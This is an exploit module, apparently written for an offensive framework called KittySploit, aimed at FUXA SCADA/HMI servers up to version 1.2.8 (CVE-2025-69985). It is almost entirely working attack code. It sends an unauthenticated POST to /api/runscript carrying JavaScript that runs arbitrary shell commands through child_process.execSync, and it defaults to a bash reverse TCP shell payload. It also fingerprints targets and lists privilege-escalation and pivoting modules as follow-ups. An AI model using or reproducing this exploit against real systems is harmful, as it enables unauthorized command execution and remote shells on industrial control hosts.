FUXA <= 1.2.8 Authentication Bypass + RCE (CVE-2025-69985)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "FUXA <= 1.2.8 Authentication Bypass + RCE (CVE-2025-69985)",
        "description": (
            "Unauthenticated access to the protected /api/runscript endpoint when authentication "
            "is enabled, followed by remote command execution via Node.js child_process.execSync "
            "in script code. Fixed in FUXA > 1.2.8."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2025-69985"],
        "arch": [Arch.X86, Arch.X64],
        "platform": [Platform.UNIX, Platform.LINUX],
        "category": PayloadCategory.SINGLE,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://github.com/joshuavanderpoll/CVE-2025-69985",
            "https://github.com/frangoteam/FUXA",
            "https://github.com/frangoteam/FUXA/tree/v1.2.8",
        ],
        "tags": ["fuxa", "scada", "hmi", "nodejs", "auth-bypass", "rce", "cve-2025-69985"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(1881, "Target port (FUXA default)", True)
    ssl = OptBool(False, "SSL enabled: true/false", True, advanced=True)
    base_path = OptString("/", "URL prefix if FUXA is behind a path", required=False)
    command = OptString("", "Command to run via execSync (overrides generated payload)", required=False)
    output_limit = OptInteger(8000, "Max characters of command output to print (0 = all)", required=False, advanced=True)

    _VERSION_RE = re.compile(
        r'(?:fuxa|version)[^"\']{0,48}["\'](\d+\.\d+\.\d+)["\']',
        re.IGNORECASE,
    )

    def _prefix(self) -> str:
        p = str(self.base_path or "/").strip()
        if not p.startswith("/"):
            p = "/" + p
        return p.rstrip("/") or ""

    def _origin(self) -> str:
        protocol = "https" if self.ssl else "http"
        return f"{protocol}://{self.target}:{self.port}".rstrip("/")

    def _api_path(self, suffix: str) -> str:
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        pre = self._prefix()
        return f"{pre}{suffix}" if pre else suffix

    @staticmethod
    def _escape_command(command: str) -> str:
        return (
            command.replace("\\", "\\\\")
            .replace('"', '\\"')
            .replace("`", "\\`")
            .replace("\n", "\\n")
        )

    def _build_js_payload(self, command: str) -> str:
        escaped = self._escape_command(command)
        return (
            'const cp = require("child_process");\n'
            "try {\n"
            f'    const result = cp.execSync("{escaped}", {{ encoding: "utf8" }});\n'
            "    return result.toString();\n"
            "} catch (err) {\n"
            '    return "ERROR: " + err.message +\n'
            '           (err.stdout ? "\\nSTDOUT: " + err.stdout.toString() : "") +\n'
            '           (err.stderr ? "\\nSTDERR: " + err.stderr.toString() : "");\n'
            "}\n"
        )

    def _runscript_body(self, js_code: str) -> dict:
        return {
            "params": {
                "script": {
                    "parameters": [],
                    "mode": "",
                    "id": "exploit",
                    "name": "exploit",
                    "code": js_code,
                    "test": js_code,
                },
                "toLogEvent": False,
            }
        }

    def _normalize_command(self) -> str:
        if self.command and str(self.command).strip():
            return str(self.command).strip()
        payload = self.payload
        if isinstance(payload, bytes):
            return payload.decode("utf-8", errors="ignore")
        return str(payload or "").strip()

    def check(self):
        try:
            for path in (self._api_path("/fuxa"), self._api_path("/")):
                response = self.http_request(method="GET", path=path, allow_redirects=True)
                if not response or response.status_code != 200:
                    continue
                text = (response.text or "").lower()
                if "fuxa" in text or "frangoteam" in text:
                    ver_m = self._VERSION_RE.search(response.text or "")
                    detail = f"FUXA-like content at {path}"
                    if ver_m:
                        detail += f" (version hint: {ver_m.group(1)})"
                    return {
                        "vulnerable": True,
                        "reason": detail,
                        "confidence": "medium",
                    }
            return {
                "vulnerable": False,
                "reason": "FUXA fingerprint not found",
                "confidence": "low",
            }
        except Exception as e:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {e}",
                "confidence": "low",
            }

    def run(self):
        try:
            cmd = self._normalize_command()
            if not cmd:
                print_error("No command: set COMMAND or a compatible cmd payload")
                return False

            js_code = self._build_js_payload(cmd)
            payload = self._runscript_body(js_code)
            origin = self._origin()
            headers = {
                "Content-Type": "application/json",
                "Accept": "application/json, text/plain, */*",
                "Referer": f"{origin}{self._prefix()}/fuxa",
            }

            print_status(f"POST {self._api_path('/api/runscript')}")
            resp = self.http_request(
                method="POST",
                path=self._api_path("/api/runscript"),
                json=payload,
                headers=headers,
                allow_redirects=False,
                timeout=max(int(self.timeout or 15), 15),
            )

            if not resp:
                print_error("No response from target")
                return False

            if resp.status_code != 200:
                print_error(f"Unexpected HTTP {resp.status_code}")
                if resp.text:
                    preview = resp.text[:500]
                    print_info(f"Body preview: {preview}")
                return False

            out = (resp.text or "").strip()
            limit = self._to_int_limit()
            if limit and len(out) > limit:
                print_info(out[:limit] + "\n... [truncated]")
            else:
                print_success("Command output:")
                print_info(out if out else "(empty)")

            self.vulnerable()
            return True
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

    def _to_int_limit(self):
        try:
            return int(self.output_limit)
        except Exception:
            return 8000